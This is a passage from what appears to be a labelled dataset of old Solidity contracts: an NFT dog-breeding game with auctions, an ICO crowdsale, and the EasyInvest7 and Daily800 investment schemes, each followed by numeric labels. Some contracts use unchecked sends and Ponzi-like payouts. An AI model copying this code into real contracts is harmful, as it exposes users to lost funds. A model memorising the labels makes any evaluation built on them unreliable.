Dog storage _sire,
uint256 _sireId
)
private
view
returns(bool)
{
if (_matronId == _sireId) {
return false;
}
if (_matron.matronId == _sireId || _matron.sireId == _sireId) {
return false;
}
if (_sire.matronId == _matronId || _sire.sireId == _matronId) {
return false;
}
if (_sire.matronId == 0 || _matron.matronId == 0) {
return true;
}
if (_sire.matronId == _matron.matronId || _sire.matronId == _matron.sireId) {
return false;
}
if (_sire.sireId == _matron.matronId || _sire.sireId == _matron.sireId) {
return false;
}
return true;
}
function _canBreedWithViaAuction(uint256 _matronId, uint256 _sireId)
internal
view
returns (bool)
{
Dog storage matron = dogs[_matronId];
Dog storage sire = dogs[_sireId];
return _isValidMatingPair(matron, _matronId, sire, _sireId);
}
function getOwner(uint256 _tokenId) public view returns(address){
address owner = dogIndexToOwner[_tokenId];
if(owner == address(saleAuction)){
return saleAuction.getSeller(_tokenId);
} else if (owner == address(siringAuction)){
return siringAuction.getSeller(_tokenId);
} else if (owner == address(this)){
return address(0);
}
return owner;
}
function _breedWith(uint256 _matronId, uint256 _sireId) internal {
require(_matronId > 1);
require(_sireId > 1);
Dog storage sire = dogs[_sireId];
Dog storage matron = dogs[_matronId];
require(sire.variation == 0);
require(matron.variation == 0);
if (matron.generation > 0) {
var(,,openBlock,,,,,,) = lottery.getCLottery();
if (matron.birthTime < openBlock) {
require(lottery.checkLottery(matron.genes) == 100);
}
}
matron.siringWithId = uint32(_sireId);
_triggerCooldown(sire);
_triggerCooldown(matron);
delete sireAllowedToAddress[_matronId];
delete sireAllowedToAddress[_sireId];
pregnantDogs++;
cfoAddress.transfer(autoBirthFee);
address owner = getOwner(0);
if(owner != address(0)){
_sendMoney(owner, creationProfit);
}
owner = getOwner(1);
if(owner != address(0)){
_sendMoney(owner, creationProfit);
}
if (matron.generation > 0) {
owner = getOwner(matron.gen0);
if(owner != address(0)){
_sendMoney(owner, gen0Profit);
}
}
Pregnant(dogIndexToOwner[_matronId], _matronId, _sireId, matron.cooldownEndBlock, sire.cooldownEndBlock, matron.cooldownIndex, sire.cooldownIndex);
}
function breedWithAuto(uint256 _matronId, uint256 _sireId)
external
payable
whenNotPaused
{
uint256 totalFee = autoBirthFee + creationProfit + creationProfit;
Dog storage matron = dogs[_matronId];
if (matron.generation > 0) {
totalFee += gen0Profit;
}
require(msg.value >= totalFee);
require(_owns(msg.sender, _matronId));
require(_isSiringPermitted(_sireId, _matronId));
require(_isReadyToBreed(matron));
Dog storage sire = dogs[_sireId];
require(_isReadyToBreed(sire));
require(_isValidMatingPair(matron, _matronId, sire, _sireId));
_breedWith(_matronId, _sireId);
uint256 breedExcess = msg.value - totalFee;
if (breedExcess > 0) {
msg.sender.transfer(breedExcess);
}
}
bool public giveBirthByUser = false;
function setGiveBirthType(bool _value) public onlyCEO {
giveBirthByUser = _value;
}
function giveBirth(uint256 _matronId, uint256 genes)
external
whenNotPaused
returns(uint256)
{
Dog storage matron = dogs[_matronId];
require(matron.birthTime != 0);
require(_isReadyToGiveBirth(matron));
uint256 sireId = matron.siringWithId;
Dog storage sire = dogs[sireId];
uint16 parentGen = matron.generation;
if (sire.generation > matron.generation) {
parentGen = sire.generation;
}
uint256 gen0 = matron.generation == 0 ? _matronId : matron.gen0;
uint256 childGenes = genes;
if(giveBirthByUser){
require(address(geneScience) != address(0));
childGenes = geneScience.mixGenes(matron.genes, sire.genes, matron.cooldownEndBlock - 1);
} else {
require(msg.sender == ceoAddress || msg.sender == cooAddress || msg.sender == cfoAddress);
}
address owner = dogIndexToOwner[_matronId];
uint8 _variation = variation.createVariation(childGenes, dogs.length);
bool isGen0Siring = matron.generation == 0;
uint256 kittenId = _createDog(_matronId, matron.siringWithId, parentGen + 1, childGenes, owner, _variation, gen0, isGen0Siring);
delete matron.siringWithId;
pregnantDogs--;
if(_variation != 0){
variation.registerVariation(kittenId, owner);
_transfer(owner, address(variation), kittenId);
}
return kittenId;
}
}
contract ClockAuctionBase {
struct Auction {
address seller;
uint128 startingPrice;
uint128 endingPrice;
uint64 duration;
uint64 startedAt;
}
ERC721 public nonFungibleContract;
uint256 public ownerCut;
mapping (uint256 => Auction) tokenIdToAuction;
event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration);
event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner);
event AuctionCancelled(uint256 tokenId);
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return (nonFungibleContract.ownerOf(_tokenId) == _claimant);
}
function _escrow(address _owner, uint256 _tokenId) internal {
nonFungibleContract.transferFrom(_owner, this, _tokenId);
}
function _transfer(address _receiver, uint256 _tokenId) internal {
nonFungibleContract.transfer(_receiver, _tokenId);
}
function _addAuction(uint256 _tokenId, Auction _auction) internal {
require(_auction.duration >= 1 minutes);
tokenIdToAuction[_tokenId] = _auction;
AuctionCreated(
uint256(_tokenId),
uint256(_auction.startingPrice),
uint256(_auction.endingPrice),
uint256(_auction.duration)
);
}
function _cancelAuction(uint256 _tokenId, address _seller) internal {
_removeAuction(_tokenId);
_transfer(_seller, _tokenId);
AuctionCancelled(_tokenId);
}
function _bid(uint256 _tokenId, uint256 _bidAmount, address _to)
internal
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
uint256 price = _currentPrice(auction);
uint256 auctioneerCut = computeCut(price);
uint256 fee = 0;
if (_tokenId == 0 || _tokenId == 1) {
fee = price / 5;
}
require((_bidAmount + auctioneerCut + fee) >= price);
address seller = auction.seller;
_removeAuction(_tokenId);
if (price > 0) {
uint256 sellerProceeds = price - auctioneerCut - fee;
seller.transfer(sellerProceeds);
}
AuctionSuccessful(_tokenId, price, _to);
return price;
}
function _removeAuction(uint256 _tokenId) internal {
delete tokenIdToAuction[_tokenId];
}
function _isOnAuction(Auction storage _auction) internal view returns (bool) {
return (_auction.startedAt > 0);
}
function _currentPrice(Auction storage _auction)
internal
view
returns (uint256)
{
uint256 secondsPassed = 0;
if (now > _auction.startedAt) {
secondsPassed = now - _auction.startedAt;
}
return _computeCurrentPrice(
_auction.startingPrice,
_auction.endingPrice,
_auction.duration,
secondsPassed
);
}
function _computeCurrentPrice(
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
uint256 _secondsPassed
)
internal
pure
returns (uint256)
{
if (_secondsPassed >= _duration) {
return _endingPrice;
} else {
int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice);
int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration);
int256 currentPrice = int256(_startingPrice) + currentPriceChange;
return uint256(currentPrice);
}
}
function computeCut(uint256 _price) public view returns (uint256) {
return _price * ownerCut / 10000;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() public onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract ClockAuction is Pausable, ClockAuctionBase {
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256("name()")) ^
bytes4(keccak256("symbol()")) ^
bytes4(keccak256("totalSupply()")) ^
bytes4(keccak256("balanceOf(address)")) ^
bytes4(keccak256("ownerOf(uint256)")) ^
bytes4(keccak256("approve(address,uint256)")) ^
bytes4(keccak256("transfer(address,uint256)")) ^
bytes4(keccak256("transferFrom(address,address,uint256)"));
function ClockAuction(address _nftAddress, uint256 _cut) public {
require(_cut <= 10000);
ownerCut = _cut;
ERC721 candidateContract = ERC721(_nftAddress);
require(candidateContract.supportsInterface(InterfaceSignature_ERC721));
nonFungibleContract = candidateContract;
}
function withdrawBalance() external {
address nftAddress = address(nonFungibleContract);
require(
msg.sender == owner ||
msg.sender == nftAddress
);
nftAddress.transfer(address(this).balance);
}
function cancelAuction(uint256 _tokenId)
external
{
require(_tokenId > 1);
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
address seller = auction.seller;
require(msg.sender == seller);
_cancelAuction(_tokenId, seller);
}
function cancelAuctionWhenPaused(uint256 _tokenId)
whenPaused
onlyOwner
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
_cancelAuction(_tokenId, auction.seller);
}
function getAuction(uint256 _tokenId)
external
view
returns
(
address seller,
uint256 startingPrice,
uint256 endingPrice,
uint256 duration,
uint256 startedAt
) {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return (
auction.seller,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
function getSeller(uint256 _tokenId) external view returns(address){
Auction storage auction = tokenIdToAuction[_tokenId];
if(_isOnAuction(auction)){
return auction.seller;
} else {
return nonFungibleContract.ownerOf(_tokenId);
}
}
function getCurrentPrice(uint256 _tokenId)
external
view
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return _currentPrice(auction);
}
}
contract SiringClockAuction is ClockAuction {
bool public isSiringClockAuction = true;
function SiringClockAuction(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {}
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(msg.sender == address(nonFungibleContract));
_escrow(_seller, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
function bid(uint256 _tokenId, address _to)
external
payable
{
require(msg.sender == address(nonFungibleContract));
address seller = tokenIdToAuction[_tokenId].seller;
_bid(_tokenId, msg.value, _to);
_transfer(seller, _tokenId);
}
}
contract SaleClockAuction is ClockAuction {
bool public isSaleClockAuction = true;
uint256 public gen0SaleCount;
uint256[5] public lastGen0SalePrices;
function SaleClockAuction(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {}
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(msg.sender == address(nonFungibleContract));
_escrow(_seller, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
function bid(uint256 _tokenId, address _to)
external
payable
{
require(msg.sender == address(nonFungibleContract));
address seller = tokenIdToAuction[_tokenId].seller;
require(seller != _to);
uint256 price = _bid(_tokenId, msg.value, _to);
_transfer(_to, _tokenId);
if (seller == address(nonFungibleContract)) {
lastGen0SalePrices[gen0SaleCount % 5] = price;
gen0SaleCount++;
}
}
function averageGen0SalePrice() external view returns (uint256) {
uint256 sum = 0;
for (uint256 i = 0; i < 5; i++) {
sum += lastGen0SalePrices[i];
}
return sum / 5;
}
}
contract DogAuction is DogBreeding {
uint256 public constant GEN0_AUCTION_DURATION = 1 days;
function setSaleAuctionAddress(address _address) external onlyCEO {
SaleClockAuction candidateContract = SaleClockAuction(_address);
require(candidateContract.isSaleClockAuction());
saleAuction = candidateContract;
}
function setSiringAuctionAddress(address _address) external onlyCEO {
SiringClockAuction candidateContract = SiringClockAuction(_address);
require(candidateContract.isSiringClockAuction());
siringAuction = candidateContract;
}
function createSaleAuction(
uint256 _dogId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
external
whenNotPaused
{
require(_owns(msg.sender, _dogId) || _approvedFor(msg.sender, _dogId));
require(!isPregnant(_dogId));
_approve(_dogId, saleAuction);
saleAuction.createAuction(
_dogId,
_startingPrice,
_endingPrice,
_duration,
dogIndexToOwner[_dogId]
);
}
function createSiringAuction(
uint256 _dogId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
external
whenNotPaused
{
Dog storage dog = dogs[_dogId];
require(dog.variation == 0);
require(_owns(msg.sender, _dogId));
require(isReadyToBreed(_dogId));
_approve(_dogId, siringAuction);
siringAuction.createAuction(
_dogId,
_startingPrice,
_endingPrice,
_duration,
msg.sender
);
}
function bidOnSiringAuction(
uint256 _sireId,
uint256 _matronId
)
external
payable
whenNotPaused
{
require(_owns(msg.sender, _matronId));
require(isReadyToBreed(_matronId));
require(_canBreedWithViaAuction(_matronId, _sireId));
uint256 currentPrice = siringAuction.getCurrentPrice(_sireId);
uint256 totalFee = currentPrice + autoBirthFee + creationProfit + creationProfit;
Dog storage matron = dogs[_matronId];
if (matron.generation > 0) {
totalFee += gen0Profit;
}
require(msg.value >= totalFee);
uint256 auctioneerCut = saleAuction.computeCut(currentPrice);
siringAuction.bid.value(currentPrice - auctioneerCut)(_sireId, msg.sender);
_breedWith(uint32(_matronId), uint32(_sireId));
uint256 bidExcess = msg.value - totalFee;
if (bidExcess > 0) {
msg.sender.transfer(bidExcess);
}
}
function bidOnSaleAuction(
uint256 _dogId
)
external
payable
whenNotPaused
{
Dog storage dog = dogs[_dogId];
if (dog.generation > 0) {
var(,,openBlock,,,,,,) = lottery.getCLottery();
if (dog.birthTime < openBlock) {
require(lottery.checkLottery(dog.genes) == 100);
}
}
uint256 currentPrice = saleAuction.getCurrentPrice(_dogId);
require(msg.value >= currentPrice);
bool isCreationKitty = _dogId == 0 || _dogId == 1;
uint256 fee = 0;
if (isCreationKitty) {
fee = uint256(currentPrice / 5);
}
uint256 auctioneerCut = saleAuction.computeCut(currentPrice);
saleAuction.bid.value(currentPrice - (auctioneerCut + fee))(_dogId, msg.sender);
if (isCreationKitty) {
cfoAddress.transfer(fee);
uint256 nextPrice = uint256(uint128(2 * currentPrice));
if (nextPrice < currentPrice) {
nextPrice = currentPrice;
}
_approve(_dogId, saleAuction);
saleAuction.createAuction(
_dogId,
nextPrice,
nextPrice,
GEN0_AUCTION_DURATION,
msg.sender);
}
uint256 bidExcess = msg.value - currentPrice;
if (bidExcess > 0) {
msg.sender.transfer(bidExcess);
}
}
}
contract DogMinting is DogAuction {
uint256 public constant GEN0_CREATION_LIMIT = 40000;
uint256 public constant GEN0_STARTING_PRICE = 200 finney;
uint256 public gen0CreatedCount;
function createGen0Dog(uint256 _genes) external onlyCLevel returns(uint256) {
require(gen0CreatedCount < GEN0_CREATION_LIMIT);
uint256 dogId = _createDog(0, 0, 0, _genes, address(this), 0, 0, false);
_approve(dogId, msg.sender);
gen0CreatedCount++;
return dogId;
}
function computeNextGen0Price() public view returns (uint256) {
uint256 avePrice = saleAuction.averageGen0SalePrice();
require(avePrice == uint256(uint128(avePrice)));
uint256 nextPrice = avePrice + (avePrice / 2);
if (nextPrice < GEN0_STARTING_PRICE) {
nextPrice = GEN0_STARTING_PRICE;
}
return nextPrice;
}
}
contract DogCore is DogMinting {
address public newContractAddress;
function DogCore() public {
paused = true;
ceoAddress = msg.sender;
cooAddress = msg.sender;
_createDog(0, 0, 0, uint256(0), address(this), 0, 0, false);
_approve(0, cooAddress);
_createDog(0, 0, 0, uint256(0), address(this), 0, 0, false);
_approve(1, cooAddress);
}
function setNewAddress(address _v2Address) external onlyCEO whenPaused {
newContractAddress = _v2Address;
ContractUpgrade(_v2Address);
}
function() external payable {
require(
msg.sender == address(saleAuction) ||
msg.sender == address(siringAuction) ||
msg.sender == ceoAddress
);
}
function getDog(uint256 _id)
external
view
returns (
uint256 cooldownIndex,
uint256 nextActionAt,
uint256 siringWithId,
uint256 birthTime,
uint256 matronId,
uint256 sireId,
uint256 generation,
uint256 genes,
uint8 variation,
uint256 gen0
) {
Dog storage dog = dogs[_id];
cooldownIndex = uint256(dog.cooldownIndex);
nextActionAt = uint256(dog.cooldownEndBlock);
siringWithId = uint256(dog.siringWithId);
birthTime = uint256(dog.birthTime);
matronId = uint256(dog.matronId);
sireId = uint256(dog.sireId);
generation = uint256(dog.generation);
genes = uint256(dog.genes);
variation = uint8(dog.variation);
gen0 = uint256(dog.gen0);
}
function unpause() public onlyCEO whenPaused {
require(saleAuction != address(0));
require(siringAuction != address(0));
require(lottery != address(0));
require(variation != address(0));
require(newContractAddress == address(0));
super.unpause();
}
function setLotteryAddress(address _address) external onlyCEO {
require(address(lottery) == address(0));
LotteryInterface candidateContract = LotteryInterface(_address);
require(candidateContract.isLottery());
lottery = candidateContract;
}
function setVariationAddress(address _address) external onlyCEO {
require(address(variation) == address(0));
VariationInterface candidateContract = VariationInterface(_address);
require(candidateContract.isVariation());
variation = candidateContract;
}
function registerLottery(uint256 _dogId) external returns (uint8) {
require(_owns(msg.sender, _dogId));
require(lottery.registerLottery(_dogId) == 0);
_transfer(msg.sender, address(lottery), _dogId);
}
function getAvailableBlance() external view returns(uint256){
return address(this).balance - spendMoney;
}
} | 0 | 806 |
pragma solidity ^0.4.24;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint256 _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract SMAR is MintableToken {
string public constant name = "SmartRetail ICO";
string public constant symbol = "SMAR";
uint32 public constant decimals = 18;
}
contract Crowdsale is Ownable {
using SafeMath for uint;
address public multisig = 0xF15eE43d0345089625050c08b482C3f2285e4F12;
uint dec = 1000000000000000000;
SMAR public token = new SMAR();
uint public icoStartP1 = 1528675200;
uint public icoStartP2 = 1531267200;
uint public icoStartP3 = 1533945600;
uint public icoStartP4 = 1536624000;
uint public icoStartP5 = 1539216000;
uint public icoStartP6 = 1541894400;
uint public icoEnd = 1544486400;
uint public icoSoftcap = 35000*dec;
uint public icoHardcap = 1000000*dec;
uint public tokensFor1EthP6 = 50*dec;
uint public tokensFor1EthP1 = tokensFor1EthP6*125/100;
uint public tokensFor1EthP2 = tokensFor1EthP6*120/100;
uint public tokensFor1EthP3 = tokensFor1EthP6*115/100;
uint public tokensFor1EthP4 = tokensFor1EthP6*110/100;
uint public tokensFor1EthP5 = tokensFor1EthP6*105/100;
mapping(address => uint) public balances;
constructor() public {
owner = multisig;
token.mint(multisig, 5000*dec);
}
function refund() public {
require( (now>icoEnd)&&(token.totalSupply()<icoSoftcap) );
uint value = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(value);
}
function refundToWallet(address _wallet) public {
require( (now>icoEnd)&&(token.totalSupply()<icoSoftcap) );
uint value = balances[_wallet];
balances[_wallet] = 0;
_wallet.transfer(value);
}
function withdraw() public onlyOwner {
require(token.totalSupply()>=icoSoftcap);
multisig.transfer(address(this).balance);
}
function finishMinting() public onlyOwner {
if(now>icoEnd) {
token.finishMinting();
token.transferOwnership(multisig);
}
}
function createTokens() payable public {
require( (now>=icoStartP1)&&(now<icoEnd) );
require(token.totalSupply()<icoHardcap);
uint tokens = 0;
uint sum = msg.value;
uint tokensFor1EthCurr = tokensFor1EthP6;
uint rest = 0;
if(now < icoStartP2) {
tokensFor1EthCurr = tokensFor1EthP1;
} else if(now >= icoStartP2 && now < icoStartP3) {
tokensFor1EthCurr = tokensFor1EthP2;
} else if(now >= icoStartP3 && now < icoStartP4) {
tokensFor1EthCurr = tokensFor1EthP3;
} else if(now >= icoStartP4 && now < icoStartP5) {
tokensFor1EthCurr = tokensFor1EthP4;
} else if(now >= icoStartP5 && now < icoStartP6) {
tokensFor1EthCurr = tokensFor1EthP5;
}
tokens = sum.mul(tokensFor1EthCurr).div(1000000000000000000);
if(token.totalSupply().add(tokens) > icoHardcap){
tokens = icoHardcap.sub(token.totalSupply());
rest = sum.sub(tokens.mul(1000000000000000000).div(tokensFor1EthCurr));
}
token.mint(msg.sender, tokens);
if(rest!=0){
msg.sender.transfer(rest);
}
balances[msg.sender] = balances[msg.sender].add(sum.sub(rest));
if(token.totalSupply()>=icoSoftcap){
multisig.transfer(address(this).balance);
}
}
function() external payable {
createTokens();
}
} | 1 | 4,379 |
pragma solidity ^0.4.24;
contract ERC20 {
address public owner;
string public name;
string public symbol;
uint256 public decimals;
uint256 public totalSupply;
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20MetaInfo {
address public owner;
mapping (address => mapping (string => string)) keyValues;
constructor() public {
owner = msg.sender;
}
function setKeyValue(ERC20 _token, string _key, string _value) public returns (bool) {
require(bytes(keyValues[_token][_key]).length == 0 || owner == msg.sender || _token.owner() == msg.sender);
keyValues[_token][_key] = _value;
return true;
}
function getKeyValue(address _token, string _key) public view returns (string _value) {
return keyValues[_token][_key];
}
} | 1 | 4,068 |
pragma solidity ^0.4.24;
contract EasyInvest7 {
mapping (address => uint256) invested;
mapping (address => uint256) atBlock;
function () external payable {
if (invested[msg.sender] != 0) {
uint256 amount = invested[msg.sender] * 7 / 100 * (block.number - atBlock[msg.sender]) / 5900;
address sender = msg.sender;
sender.send(amount);
}
atBlock[msg.sender] = block.number;
invested[msg.sender] += msg.value;
}
} | 0 | 2,108 |
pragma solidity ^0.4.24;
contract Daily800 {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 800;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.5 ether;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(5).div(100));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,704 |
pragma solidity ^0.4.19;
contract Token {
string public name;
string public symbol;
uint8 public decimals;
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
require(_newOwner != address(0));
owner = _newOwner;
}
}
contract AccountModifiersInterface {
function accountModifiers(address _user) constant returns(uint takeFeeDiscount, uint rebatePercentage);
function tradeModifiers(address _maker, address _taker) constant returns(uint takeFeeDiscount, uint rebatePercentage);
}
contract TradeTrackerInterface {
function tradeComplete(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, address _get, address _give, uint _takerFee, uint _makerRebate);
}
contract TokenStore is SafeMath, Ownable {
address feeAccount;
address accountModifiers;
address tradeTracker;
uint public fee;
mapping (address => mapping (address => uint)) public tokens;
mapping (address => mapping (bytes32 => uint)) public orderFills;
address public successor;
address public predecessor;
bool public deprecated;
uint16 public version;
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give, uint nonce);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
event FundsMigrated(address user);
function TokenStore(uint _fee, address _predecessor) {
feeAccount = owner;
fee = _fee;
predecessor = _predecessor;
deprecated = false;
if (predecessor != address(0)) {
version = TokenStore(predecessor).version() + 1;
} else {
version = 1;
}
}
function() {
revert();
}
modifier deprecable() {
require(!deprecated);
_;
}
function deprecate(bool _deprecated, address _successor) onlyOwner {
deprecated = _deprecated;
successor = _successor;
}
function changeFeeAccount(address _feeAccount) onlyOwner {
require(_feeAccount != address(0));
feeAccount = _feeAccount;
}
function changeAccountModifiers(address _accountModifiers) onlyOwner {
accountModifiers = _accountModifiers;
}
function changeTradeTracker(address _tradeTracker) onlyOwner {
tradeTracker = _tradeTracker;
}
function changeFee(uint _fee) onlyOwner {
require(_fee <= fee);
fee = _fee;
}
function getAccountModifiers() constant returns(uint takeFeeDiscount, uint rebatePercentage) {
if (accountModifiers != address(0)) {
return AccountModifiersInterface(accountModifiers).accountModifiers(msg.sender);
} else {
return (0, 0);
}
}
function deposit() payable deprecable {
tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value);
